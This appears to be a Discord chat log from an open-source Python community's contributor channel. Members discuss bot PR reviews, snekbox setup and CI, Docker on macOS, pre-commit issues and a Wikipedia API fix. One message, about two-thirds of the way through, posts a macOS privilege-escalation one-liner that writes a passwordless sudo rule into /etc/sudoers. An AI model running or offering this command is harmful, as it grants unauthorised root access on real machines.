(Posting it here because it happened while triying to look up the contributing guidelines)
was resolving that #dev-opps-alerts has a constantly firing alert about the cert for owlcorp.uk because cloudflare updated an endpoint
should be back now
error screen looking great though what a great page
huge win
I'm trying to write some unit tests for my PR and i'm not sure how to go about this. How would I check if a channel has reverted to some slowmode value x seconds in the future, without actually waiting x seconds? Should I just check if the task to do it was successfully created?
hmm yeah that sounds reasonable. i can't remember how much we mock but if you validate as well that the callback/task function executes correctly that seems reasonable
i.e. test the creation, test the callback, but don't test the scheduling/execution if that makes sense
what do you mean by testing the callback
your _revert_slowmode method
so call it directly and check that it actually reverts the slowmode?
yeah pretty much, keeps the coverage fairly green, and then you've more or less end-to-end validated it if you confirm the scheduling and confirm the reset
alrighty
could have a look at test_silence as it has some similar cases
yeah i've been copying it
I've written a few tests but I'm running into a problem with one. I would appreciate if someone could take a look
https://github.com/python-discord/bot/pull/3331#discussion_r2125154040
And if the form of the tests is generally alright. It's my first time writing them
!rule ad work
6. Do not post unapproved advertising.
9. Do not offer or ask for paid work of any kind.
I'm currently learning AWS and learn about the services
If you're also just starting with AWS (or planning to), I’d love to connect, share knowledge, ask questions, and grow together.
Love to connect with others
hey @thorny obsidian
i want to run snekbox for myself alongside my bot and i was wondering how i actually start and stop it
lambda showed me that it's part of the docker-compose.yml file
but that means i'd also have to dockerise my bot, which i have no idea how to do
So snekbox is a separate service that is deployed ahead of our bot. Our bot is then configured to point to the snekbox service and communicate with it via api
So you just need to know the api url for the snekbox container and interface with it that way
and also how i run snekbox without needing to clone the entire repository: just what's needed
So you do need to the entire snekbox repo up and running. Are you talking about the bot portion for interfacing with it?
yeah i had some fun with it by cloning the repository, using the docker run instruction in the snekbox README, and then i was able to use the /eval endpoint
i think so. my question is: how does @stable mountain use snekbox and how can i do the same?
So Scaleios setup a simpler bot that can interface with snekbox. Let me find the repo for you
Take a look at this and how it's done. You can then borrow the relevant parts
oh my god, thank you
how exactly do i run this thing?
If you don't want to use docker, then you can setup the poetry environment, install the dependencies via poetry install and then do python -m bot in the project's directory
Possibly? I'd check out the installer instructions https://python-poetry.org/docs/#installation
i'm looking at this now and i'm wondering: where is the snekbox from?
i don't exactly see where it's being loaded, initiated, closed, whatever
It's run separately, that's why you need to configure the urls to point to the correct place
Snekbox and our bot are 2 separate deployments
hm i see
wait where's it getting snekbox though?
do i have to register something in Docker Desktop or what?
It's an envvar you need to set per the evalbot README. You should be able to get the exact url of the running docker container and how to interface with it
OHH im stupid
the bot wasnt the issue. that's perfectly fine for me to make
how can i "pip install" (in the context of docker) snekbox
without needing the repository all the time
ARE WE FUCKING SERIOUS
YOU DONT NEED TO INSTALL ANYTHING
OH MY LORD 
Docker works with images, if the images are available in a repository (such as Docker Hub), you can just specify them in your config and they'll be pulled automatically.
Alternatively you can build them.
It's worth reading up on how Docker works in general
it's alright
another hour later, i got it working
➜ py test.py
{'stdout': 'hello world\n', 'returncode': 0, 'files': []}
➜ docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
# nothing to see here
i made it close itself when it's done
I'm having trouble setting up a modmail bot on the test server.
I have successfully created the bot and added it to the server, but when I try to start it it's saying "Logging out due to invalid GUILD_ID.". The guild ID is correct, so is the one in OWNERS. Anyone have any idea what this could be caused by?
can you find a source of that message and show the value you're putting into it
It's just in on_ready when self.guild is not set:
async def on_ready(self):
"""Bot startup, sets uptime."""
# Wait until config cache is populated with stuff from db and on_connect ran
await self.wait_for_connected()
if self.guild is None:
logger.error("Logging out due to invalid GUILD_ID.")
return await self.close()
I'm assuming that would get set by discord.py, as I don't see it set anywhere here.
The one thing I didn't set to a "correct" value is LOG_URL, but I don't plan on testing it and I assume if this was the cause the error would be different.
my dotenv looks like this:
TOKEN=
GUILD_ID=476190141161930753
MODMAIL_GUILD_ID=476190141161930753
OWNERS=126811506632294400
$ cat .env
TOKEN=M...U
LOG_URL=https://logviewername.herokuapp.com/
GUILD_ID=476190141161930753
MODMAIL_GUILD_ID=476190141161930753
OWNERS=88336074710982656
CONNECTION_URI=mongodb://127.0.0.1
(Not using docker because it's a pain on macOS, but I have a mongodb server running.)
It's picking up the .env because it previously complained about a wrong CONNECTION_URI
Are you able to add a breakpoint on that log line and see if it's actually loaded the correct guild id?
Looks right, yeah
(Pdb) self.config["guild_id"]
'476190141161930753'
(Pdb) import os
(Pdb) os.environ["GUILD_ID"]
'476190141161930753'
what are you running to start the bot? going to try and reproduce locally
I'll try with the exact Python version from the Dockerfile now.
(just python bot.py)
yeah I just installed 3.10 too
Should be 3.11 based on the dockerfile, but no difference; it still crashes the same way
hah that's fun, our deployment branch is outdated, and still using 3.10
the pyproject also had 3.10
I didn't think to look at the dockerfile on master branch
hmmm, mine is loading alright...
tried in a plain terminal too, rather than vscode, since I know it does some env var loading automagically
that worked fine 
Hm, strange. Trying to think what else might be weird in my setup..
Do you have the package versions from the requirements.txt, or from an older version of it?
Nah, it would even error then..
I wonder if it's an issue with the token/the bot itself. I could send you my bot token and see if it works with that one.
(solved, it was indeed an issue with how I had set up/invited the bot)
What don’t you like about docker on mac?
Also, Apple announced a containerization tool for macOS earlier in the week. Gonna be interesting to see how it plays out https://github.com/apple/container
I always had problems with it. I need to install the desktop component, and it of course needs to actually run a VM and can't just use the host kernel. And (system) updates tend to break it.
it's a scam
and a memory leak heaven
?

not something we help with in this community, sorry
ok like i wanna make my own tablet server and pc and phone and track them on my miltary missobs
if you have help questions you can put them in #1035199133436354600 but we won't help with things that are violating terms of service agreements or are just otherwise malicious
this is also not the channel to discuss this in
Hey looking to get a review for bot#3331
sorry for the delay on this, I've had a look now, only had one minor comment but if others disagree then this could be disregarded
the tl;dr is instead of two unique separate stores for this information it makes more sense in my head to serialise it into one store, i.e. <iso expiration>,<old slowmode>
yeah that makes sense to me and I considered doing it that way. I took inspiration from modpings cog where they have two different caches, but in that case it refers to two unrelated things
https://github.com/python-discord/bot/blob/4b04acb74a67699532fe264faa8a1bd344e49dcb/bot/exts/moderation/modpings.py#L26-L34
bot/exts/moderation/modpings.py lines 26 to 34
# RedisCache[discord.Member.id, 'Naïve ISO 8601 string']
# The cache's keys are mods who have pings off.
# The cache's values are the times when the role should be re-applied to them, stored in ISO format.
pings_off_mods = RedisCache()
# RedisCache[discord.Member.id, 'start timestamp|total worktime in seconds']
# The cache's keys are mod's ID
# The cache's values are their pings on schedule timestamp and the total seconds (work time) until pings off
modpings_schedule = RedisCache()```
oh right but I can't set a tuple or list as a value to the cache though
class RedisCache(RedisObject):
"""
A simplified interface for a Redis hash set.
...
Because of limitations in Redis, this cache will only accept strings and
integers as keys and strings, integers, floats, and bools as values.
I guess I could set it as a string and just .split() it
yeah in this case they're used separately, while you're always using the two caches (adding/removing) in conjunction with the same keys
yep. I had just had a skim of that other cog when i was writing this so I didn't notice
It's probably alright though
Like the cache access is pretty fast
I'll post a review a bit later
But using one cache would be my pick yeah
yeah you'll have to serialise to a string but as mentioned both variables are in a known consistent format
posted review
thanks i'll have a look tomrw
Wondering what the best way to annotate the new combined redis cache object so that it is clear what it is storing. I guess doing like a formal typing doesn't really work because RedisCache[int, str] still doesn't capture what the string contains. Is something like this alright or what would you guys do?
class Slowmode(Cog):
"""Commands for getting and setting slowmode delays of text channels."""
# RedisCache[discord.channel.id : f"{delay}, {expiry}"]
# `delay` is the slowmode delay assigned to the text channel.
# `expiry` is a naïve ISO 8601 string which describes when the slowmode should be removed
slowmode_cache = RedisCache()
Yeah just a verbal explanation of what the keys and values are. You can look at other uses for examples
@rotund light This is the place to ask questions about contributing. I'm not reliably available
Oh okay really sorry Abt it
You're fine! Just directing you to a place that will have more responsive people
@summer garden lgtm, you might want to rebase main onto your branch so it's up to date but otherwise I've approved
if rebasing nukes my review I'll reapprove but policy bot might be smart
hm I'm not sure if i did it right
no that looks right
one step closer to conquering git lmao
🤣🤣
for next time you PR because you're staff you can just make branches on the repo
there is branch protection to stop you from causing bad things to happen
okay yeah I'll do that
but it makes your workflow a bit easier
forks are fine but working on upstream means you don't need to worry about syncing your fork etc (though I know GitHub has some things to make it easier)
general practice is even when working on a fork it's easier to work on a feature branch than your forks main
makes that syncing much easier also if your fork main is identical to upstream main
and also makes the merge messages a little more sensible
like "merged jb3:feature/new-thing into python-discord/bot:main" is more descriptive than "merged jb3:main into python-discord/bot:main" or whatever
also has the added benefit that you can work on two PRs at once both targeting the same branch
gotcha
@cold islandHey not sure if you've seen but I made the changes that you requested for bot#3331
yeah I'll try to look at it soon
There's no rush at all :P Just wasn't sure if re-requesting the review would have notified you and thought that maybe you were still waiting for me
As a head's up will you see a huge bunch of PRs from me on site, where I add a bunch of resources. Will do my best to batch them together as it makes sense
what is the use of docker??
In general or for this servers bots?
If in general, ask in #tools-and-devops
e
why is dev voice locked?
locked to contributors
there are other voice channels further down
ohh
pythondiscord.com - A Django and Bulma web application. - python-discord/site
👀
M-x motd
@tame pebble Statement?
none
Why was https://github.com/python-discord/bot/issues/998 closed?
that's my bad, i saw akary's comment that it had been superseded but hadn't validated that we directly mentioned it in the other place
reopened since it isn't
!resources
The Resources page on our website contains a list of hand-selected learning resources that we regularly recommend to both beginners and experts.
MIT OCW 6.0001
@vital latch
Do this, and 6.0002.
You can catch us in normal vc's if you have a question, but no one will teach you to code. We all just self-studied it too.
It's not a 1 hour thing.
I'm gonna hop off. Cheers.
@patent pivot will respond fully later, but I think a revised and scoped down proposal for the event scheduling system would be nice.
Going through to update the code jam stuff is so tedious and it's so easy to miss stuff. So having some type of semi-automated system to help prepare or prep the files to then do some minor edits to would be fantastic. Even if it's just scoped down to the CJ.
goated okay
No worries, not especially attached to the issue or anything but assumed that was the case
okay i'm mostly done with issues now, i've closed a lot that i felt were just not something we were going to implement or were now invalid, but what i've also tried to do is tag a lot of the bot issues as good first issues if they are fairly trivial to implement
there's still a range of difficulties in there but should be something for folks to pick up
so if people are interested in contributing (i know a few people who were in that call menitoned they were), then feel free to have a look at the accessibility issues on site (as a lot of them you should be able to bang out in 30-40 minutes) or these ones on bot 🙂
commented on the issue, very easy to implement if we find a use for it
scaling go brrrt
!clban 1396872502256337038 Recruitment spam
:incoming_envelope: :ok_hand: applied ban to @clear hawk permanently.
hey everyone i,m new
been busy, finally got around to updating fishhook for 3.13+, currently pushing a release 0.3.3, once that is done it can be re-enabled for the snekbox
Release is pushed, newest is 0.3.4 (had to fix a new import bug on some systems with the keystone dependency)
Nice! I just tried and it installed perfectly on our 3.13 sandbox. However, it doesn't install on 3.13t (nor 3.14rc1 but that's less important).
There aren't environment markers in pip files for free-threading until this is supported, so we can't actually install fishhook atm
Actually, that's an easy fix to add those wheels, so I've raised a PR
Awesome, I'll get that merged
Merged and building now
Nice, lmk when new version is available on pypi
Should be there now, 0.3.5
cool let me try
ERROR: No matching distribution found for fishhook~=0.3.5
Ahh, you likely need to bump this version
pyproject.toml line 3
version = "0.3.4"```
Ah shoot whoops
lol, we've all done it
https://github.com/chilaxan/fishhook/actions/runs/16621892114 once this is done it should be good
is now on PyPI
Should be pushed now
Nice, works on 3.13
Looks like the version of cibuildwheel in CI is old, so it didn't build for 3.14rc1 though
If you do end up bumping that in ci, looks like the latest release says that it doesn't consider 3.14rc1 as prerelease,due to no breaking abi changes, so you could remove the pre release enable env var, and just leave the free threading one
:white_check_mark: Your 3.13 eval job has completed with return code 0.
3.13.5 (main, Jul 30 2025, 13:16:15) [GCC 12.2.0]
Hello,
I want to start the coding language with the python so can you guys help to learn . I am completely beginner.
Hi there, I'm finally ready to start contributing again -- although not for long, as I start college in a few weeks.
I had opened a few issues on Sir Lancebot a while back that I'd like to circle back to before I start college:
- sir-lancebot#1051 -- still needs approval
- sir-lancebot#1000 -- still needs approval
- sir-lancebot#989 -- still needs approval, however I no longer wish to work on it, so it's up for grabs if approved.
Also, I had noticed an issue with the Madlibs game I wrote a while back where the filled-in story isn't displayed due to an error that shows up in my Docker container. See attached screenshot. When I changed the "strict" parameter to False, the issue went away. Do I have permission to open a PR without an issue for this one-line change?
Yes please go ahead and create a PR for the fix. We don't need to be strict about the process when it comes to fixing bugs like this.
Yeah just wanted to double check. Will do. Thanks! 👍
Alright it's open, sir-lancebot#1688, could someone review please?
!remind 18h if the PR's still open, i can
Your reminder will arrive on <t:1754313577:F>!
merged :)
Thanks!
Here's your reminder: if the PR's still open, i can
[Jump back to when you created the reminder](#dev-contrib message)
Halp, why does uv + precommit hate me
pre-commit, for some unknown reason keeps using my 3.8 install and I have no idea why
I mean >_> I just --no-verifyed my way past it, so it's not urgent
Did you have your robin venv activated?
nope, windows
See that file path it's showing? Could you delete that, and then also run pre-commit uninstall-hooks then do python -m pre-commit install
If that doesn't work, what does uv run python -V show?
Hi, is there anyway I can get started contributing?
!contributing
Looking to contribute to Open Source Projects for the first time? Want to add a feature or fix a bug on the bots on this server? We have on-going projects that people can contribute to, even if you've never contributed to open source before!
Projects to Contribute to
- Sir Lancebot - our fun, beginner-friendly bot
- Python - our utility & moderation bot
- Site - resources, guides, and more
Where to start
- Read our contribution guide
- Chat with us in #dev-contrib if you're ready to jump in or have any questions
- Open an issue or ask to be assigned to an issue to work on
Joining #dev-contrib is a good start :)
Ok sweet
have a look here as well @modern stag, lots of easy to grab issues at those two links :))
Could someone please take a look at sir-lancebot#1000? Still waiting for approval. Thanks!
commented and approved
Really sorry about the noise in #dev-log...haven't done this in a while. I tried setting up pre-commit but it wasn't working...tried running uv run task pre-commit both in Windows Terminal and inside my Docker container as stated in the linting guide and it said uv is not recognized...not sure what I'm doing wrong. Would appreciate if someone could explain how to set it up correctly. Thanks!
Have you installed uv and restarted your terminals?
I don't know how to install uv.
this should help
https://docs.astral.sh/uv/getting-started/installation/
uv is an extremely fast Python package and project manager, written in Rust.
So I installed uv using pip install uv, then ran uv run task precommit in the project root folder successfully, but after that when I ran uv run task lint, my computer just froze completely.
What do you mean by "restarted my terminals"? Should I have done that before running precommit and lint?
Nvm I think I figured it out
huh?
though i did get confused at the "without docker" part, since i do have docker i was sort of expecting a "with docker" guide
.....
it's there
nvm
followed the instructions and...
Click here to see this code in our pastebin.
what are you trying to run? site?
yes
what os?
macos
hmmm
i suspect that's the ARM stuff kicking in where there aren't readily available wheels or something
but i thought we mitigated that with the --platform arg in the dockerfiles
just for a sanity check, do you get the same thing with docker compose up without the hyphen?
it's not supposed to be different but...
yes
pyproject.toml line 22
"License :: OSI Approved :: MIT License",```
this needs to be removed and it should be good to go
CC: @crude gyro
is that what's kicking up an error???
that is a warning
the error is that GCC isn't present
because it's trying to build packages instead of using wheels
yeah looked at the log again -- the license specifiers are not a problem
it's the fact that we don't put build tools into the container but it claims to need them to build -- so for whatever reason the platform & architecture combo it's detecting it can't find any wheels for
it does seem to be tied into django-simple-bulma and the use of libsass
worst case scenario let's just add gcc into the builder stage
I'm surprised it's happening even though other macos users seem to be fine. Is there something different about the specs here?
we bumped versions on site recently iirc
not sure if this is a symptom of the version bump and not having published wheels for the newer versions or something
how would we bump versions without published wheels?
Did we pin to some specific commit or something?
oh right
a simple apt-get install -y build-essential step fixes things
yeah we just purposefully try not to do that
if it's in the builder stage though now it's fine
I reckon it's a docker on mac thing though
I noticed this when someone was banned from inside a forum post, and had an idea.
Perhaps the bot msg for the OP is not in the server any more, can mention if they were banned (if that was the case).
Right now it seems it might detect leaving the server before the ban tho.
We could either check for bans by asking Discord with an API call (I don't think the bot caches guild bans), or check our own database. Either way I imagine it's kinda slow and not worthwhile.
Most of the time this is a result of a race between multiple invocations of a ban. There is a chance it really is because they left as they're being banned.
It happens pretty reliably when you ban someone in their thread.
I don't know what happens first; the database entry or the API call, but if it's the DB entry a simple query before posting the "no longer in server" message should be pretty quick, shouldn't it? That's anyways not a time-critical message.
The message is there to let people know that the OP isn't going to respond. What is the purpose of specifying how they left specifically?
Ah, I wouldn't suggest putting it in the message like originally proposed. I'd just not send the message then. Then again, probably only if the !ban command was sent in the same channel/thread; that complicates things. All in all not worth it
Hello, I have 2 PRs ready for review:
sir-lancebot#1690
sir-lancebot#1694
Thanks!
!warn @sinful raven Please do not advertise in this community.
:incoming_envelope: :ok_hand: applied warning to @sinful raven.
Hello again, would someone be able to review and possibly get these merged within the next couple weeks? I'm starting college on September 2nd and will not be available to make any necessary changes once I start. If it can't be reviewed within the next couple weeks, that's totally fine, but any necessary changes will need to wait until I finish the semester. Just let me know please.
Also, don't know if this actually matters but I never got assigned to sir-lancebot#1000, but it was approved.
Thanks in advance for your time!
we'll try to review it before then. If not then no worries, it'll either wait for you (if we don't just merge it) or we'll figure something out
Alright thanks!
Hello everyone
Nice to meet you
I am developing the python bot
But I have some errors in this code
so please help me if you know about this.
You should either open a post in #1035199133436354600 or ask in #discord-bots. You can use https://paste.pydis.org to show a large amount of code
Thanks you.
yo u up to make a project with me? 50 50
Hello brother, can we build and work together?
Come dm
I'm also a new dev
hello
I want someone to contribute with me in making python projects and discord bots, so we can help each other in making projects and solving complex issues
Dm me if you want.
Does Ruff not catch this?
https://github.com/python-discord/bot/blob/cb4401b45978d90bb53cdbe4c03d7b89747562b2/bot/utils/checks.py#L146
these variables are nonlocal but never assigned to
bot/utils/checks.py line 146
nonlocal bypass, buckets```
Nope, it does not. Booooo
Hello, how could we troubleshoot the .wiki command? Not sure if it is just an expired API key or not
hmmm I did see the sentry error
M-x deploy restart sir-lancebot bots
:white_check_mark: Restarted deployment sir-lancebot in namespace bots.
.wiki monty python
There was an error when communicating with the Wikipedia API
hmmmm
yeah probably an API key thing
@vale ibex are you at a PC
otherwise I can look later
!remind 5h this
Your reminder will arrive on <t:1756233445:F>!
interesting
yeah i can't remember how our API usage works for Wikipedia and if there's a key
We might need to add a user-agent header to the get request?
https://foundation.wikimedia.org/wiki/Policy:Wikimedia_Foundation_User-Agent_Policy#:~:text=This change is,address)%2C%20e.g.%3A
As of February 15, 2010, Wikimedia sites require a HTTP User-Agent header for all requests. This was an operative decision made by the technical staff and was announced and discussed on the technical mailing list. The rationale is, that clients that do not send a User-Agent string are mostly ill behaved scripts that cause a lot of load on the se...
but that's as of 2010, no?
why would it impact us now ?
when no code changed have been made
They could have decided to enforce it?
As of February 15, 2010, Wikimedia sites require a HTTP User-Agent header for all requests. This was an operative decision made by the technical staff and was announced and discussed on the technical mailing list. The rationale is, that clients that do not send a User-Agent string are mostly ill behaved scripts that cause a lot of load on the se...
I can try and test when I'm home if it makes a difference
Sure
i am on holiday so i have no laptop access
Well props for checking in while on holiday!
absolute MACHINE
no one does it like him
we dont seem to be using an api key
A Discord bot started as a community project for Hacktoberfest 2018, later evolved to an introductory project for aspiring new developers starting out with open source development. - python-discord...
hmmm interesting
can try the user agent thing later then yeah
made a commit
we'll see if I passed lint on my phone
.wiki Joseph Banks
Joseph Banks
Sir Joseph Banks, 1st Baronet, GCB, FRS (24 February [O.S. 13 February] 1743 – 19 June 1820) was an English naturalist, botanist, and patron of the natural
Joseph Banks Rhine
Joseph Banks Rhine (September 29, 1895 – February 20, 1980), usually known as J. B. Rhine, was an American botanist who founded parapsychology as a branch
@tame pebble @dim pelican user agent fixed it, good shout on the user agent brad
honorary DevOps for the day
MA
CHINE
KACHOW!
Yep, good shout indeed !
I can be shortly
Ah nevermind, Brad has got this in the bag
What a great guy
one of the greatest guys of all time
I passed lint on GitHub mobile with no syntax highlighting as well so really I deserve presidential recognition
WOOOOO
With great power comes great responsibility
M-x quote
IDE features are language smells.
-- Reg Braithwaite
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
for fucks sake LMFAO
wdym?
are you talking about a project of yours ?
if yes, this is a channel to discuss project that are pydiscord specific
if you need help with a project of yours, please refer to the help channels
See #❓|how-to-get-help to understand how to get help with your own code.
Lmfao
Running on lovelace now
Here's your reminder: this
[Jump back to when you created the reminder](#dev-contrib message)
too late man
yeah you tell that bot Bella
drafts for ducky_clippy
I like option 4, or 3. The piece of paper is important, I think.
3 is good. the folded paper in 4 looks good in the larger sizes but I think #3 is better small
I said in the staff channel that I wish Discord allowed uploading distinct images for big and small emojis
Instead of just scaling the big one
Is there a better emoji for the paper?
the current composition is 📎 📃
potential options are 📜 📄 🧻
toilet paper version
what is is the difference between !d and !pip ?
just figured it out
is d for stdlib?
pip is literally just for pulling the information off https://pypi.org/ for any package, !d is for introspecting functionality of a select few libraries
no, they do different things
!pip pytorch
pip just does that
and !d fetches information on symbols
!d discord.abc.Messageable
class discord.abc.Messageable```
An ABC that details the common operations on a model that can send messages.
The following classes implement this ABC...
the !d command only works with a few libraries that we have loaded the symbols for
!docs
oh d is short for docs oh ok
class PreparedStatement```
A representation of a prepared statement.
I am looking into #3360
bot#3360
ahh
Going to comment in a few minutes
yeah seems like a good first issue
do !d and !pip wok in most channels, right?
@patent pivot Ill give you the contributor role if you review my snekbox pr
okay babe
were there really no other dependency bumps for the deps we expose in !eval
not a the time i raised the pr
i did the bumps recently
ahh
yea clicked through a few seems fine
built fine locally and a test with curl works so
lgtm
that's unlucky man
Thanks man
yeah I saw that, didn't want to until it was ready to merge
due to 30min ci
lmfao
#honoured #linkedin #newCVitem
i can do the bump now if you want
i have it checked out and git ready
the sheer nature of ffbot being ff only means it literally can handle any situation but this one
good job man
but yah feel fre to rebase
glad to see you understand our tooling
ffmpeg
unrelated request
thanks
lmfao
we should add it to all repos
yeah
we should
and we can probably try give it permission to do simple rebasing
i.e. no conflict rebsaes
yeah, can't wait for a bot to be seen pushing my commits
yeah
can't wait for python-discord/bot to have 5 commits after a rebase accident
"Claude resolved conflicts by squashing repository history"
lol
wtf joe!
the commits all have your name on man
that's crazy
guess you have to fix ti
i'm watching fargo
what was the failure?
tests failure
device or resource busy
and a ConnectionResetError
looks like maybe cgroups
i can also have a look later, haven't tried running locally again since rebase
yeah I can check it out tomorrow if needed
the rebase should literally just be bumping CI action versions lol
think it was upload artifact
do you use snekbox for eval?
I cant find the auto-delete code execpt this class _CleanMessages in https://github.com/python-discord/bot/blob/main/bot/constants.py#L400
bot/constants.py line 400
class _CleanMessages(EnvConfig, env_prefix="clean_"):```
I suspect the root cause is related to updating Debian, not nsjail.
Yeah, I realised when I actualy read what joe sent and saw it was in the api call, not the snekbox call
The failure is around our own code to set up cgroups. I've seen this error before when I initially worked on Cgroup v2 support
Ah cool, good to know
yes
iirc we don't autodelete eval responses, we use a view for running in different versions & deleting
what about for commands like !pip and !d?
Well I only looked on mobile so I may have missed something. Also I don't know what the fix for it would be. Anyway maybe we could remove the Debian upgrade from that PR and merge it if that passes. We can debug the Debian upgrade separately without keeping the other changes hostage
they will be implemented independantly in each of their cogs, potentially using the wait_for_deletion helper util
link pls
Yeah, if it's not a trivial fix this will be the best
I'm saying all this off memory, not at pc atm
ok
just found it after a quick clone
I'll remove the Debian bump later and test
but the await_for deletion is when when Someone interacts with the emoji, not after a certain time frame wich I am looking for
assigned you @toxic wren
ahh, might be a simple delete_after arg passed to the ctx.send that you're looking for
if you want the other one as well comment there and it'll let me assign you
actually bot#3360 is not approved yet so hang on before working on that
we need to specify it out a bit more
but feel free to focus on the one I split out of that, that one is approved
@patent pivot can I have exitlag code
It is from your gift inv
yeah I know
I just need it 😭😭
you can't, and if you ask anyone in this server or in DMs it will be moderated as spam
ok:(
you have one but okkkyyyy😭😭😭😭😭😭
yeah, but jumping into on topic channels to ask users that is just straight up spam
Ok I just need one code btw and I’m not going to ask again you have my word
not just me, no one in this community
it is just a code that gets you exitlag trial dude😭
what is exitlag?
it's spammy and it's time to drop it now
anything else then DM @slow bone
It is a code that gets you a trial using exitlag that is all
what trial?
no more of this here, it's an on topic channel
ok
re: snekbox, I'll handle the nsjail config regeneration
dropped the debian commit
added in a new commit with the nsjail config regeneration
okay
CI is stalled?
or is building python really just that slow in CI?
20 minutes?
sounds familiar
time for PyDis PreBuilt Binaries LLC
tbf a repo that CI builds out a list of specific tags to a host somewhere it not an awful idea
throw them into Lovelace with some signatures
pull those in instead of building in snekbox CI
it seems from the most recent snekbox run that the biggest slow part is the base and pip installation of three different versions (3.13.2t, 3.13.5, and 3.14.0rc1), taking about 25 minutes each, thankfully not sequentially
yea
we can presumably prebuild a lot of that though
right?
and just pull that into the docker image
isolate snekbox build from the versions it is housing inside it
may need some sort of change detection if so. iirc, when i tested my adding of colors to eval a while back, i first tried the prebuilt option, which had no effect. had no choice but to take the slow way
as an aside, CI has now passed on snekbox#241
passing in checksums from an external URL as build args should allow for that
this is what we did at work
much nicer
oh hi chris. btw, nice job with the commit message for the build script. free of typos and all
fixed
FUCK
october 2024, unfortunately, so fixing that might be a little bit messy
Always man!
It only needs to be built once and then it will be cached as a layer of the image. In most cases this is good enough since we rarely make a change that invalidates that layer cache. That's either when we update Python itself, in which case a rebuild is obviously inevitable, or when we update pyenv. The latter is inefficient since it invalidates all Python version layers even if we only updated pyenv so we can update one of the Python versions. Given that all the Python versions can be built in parallel, this practically doesn't matter.
Moving the Python build somewhere else and having an artefact repo ultimately wouldn't change the build times.
Well okay it could speed it up if we put it on a faster system.
hmmm true
I was basically thinking because we have unlimited CI minutes we could build the last X tags from cpython and completely remove the building from the snekbox CI path
Perhaps the benefit I can see in that is for organisational reasons, but I don't mind how things currently are.
If anything I think a more useful investment of our time would be in automating the Python upgrades.
yeah it is complete overkill because I think I'm tainted by the speed of our other repos lol
it's only something that gets thought about whilst the CI is building
specifically for snekbox evaluation versions or all repos main python version?
I'm open to speeding things up but I don't see how your proposal would do that unless we bring our own CI runner with more powerful hardware.
The former. The latter is an interesting idea but depends on how confident we are in our automated tests.
could be fun yeah
we should have snekbox tell the bot what versions it has as well lol so we don't have to change that in tandem
Actually we don't necessarily need to separate things out to use a custom runner. But build isolation may be a concern... custom runners seem a bit tricky to set up properly.
This came up before but I shot it down for some reason I can no longer recall
storing all the binaries in a directory (or symlinks for fucked up binaries that need to be somewhere specific) and exposing that list via API seems a nice middle ground
It's a bit difficult for me to reason about
I can see why such feature would be useful - it'd allow us to automate things and cut down our maintenance burden
But I think snekbox suffers from an identity crisis
I see and agree we don't want to constrain to python
but having a directory in snekbox where you just put all the binaries, python or non-python, and having snekbox allow anything in there to be run seems like a reasonable middleground right?
bot just can pick off the ones that start with python or whatever and allow those for !eval
still pass the full path in over the API
There are 3 parts to snekbox: a library to execute arbitrary binaries through nsjail, an HTTP API frontend to interact with that, and a Dockerfile containing python-specific binaries and packages.
I've thought before about decoupling these into separate packages, but I must admit keeping them tightly coupled makes development and maintenance easier.
Maybe. Currently I don't believe we restrict the executable path. So our beloved bot could execute /usr/bin/bash if it wanted to or whatever else.
If we approached our API from a generic sense, then we'd have to either expose all executables on the filesystem, which is infeasible, or restrict it to certain directories, which is, well... restricting.
could still allow any path, I'm just thinking of how to have snekbox inform what's "available", and symlinks seem like a fine middle ground
/execs/bash symlinks to /usr/bin/bash so we return the latter
Radical idea: add an ls API so the bot can discover executables in any directory
yeah it would solve things though
What I dislike about that approach is that the bot (or really anyone using the API) still has to know which directory to look in. That couples it tightly to how our Dockerfile is set up. Though I suppose this isn't any worse than the situation we have today, where we not only need to know the directory, the but the exact binary path.
the Dockerfile thing I think we just need to split into a very generic snekbox and a pydis specific layer that prepares the binaries and the libraries
and that shouldn't be hard to achieve
But if we do want to decouple the service from the python-specific Dockerfile, then the only alternative I see for such API is if we agree on a contract where Dockerfiles always put executables in a specific directory
that's reasonable right
because the users of the API are always going to be the ones deploying snekbox
and if we add the ls API we're still not really constraining it
I... think so. It's certainly less weird than exposing ls .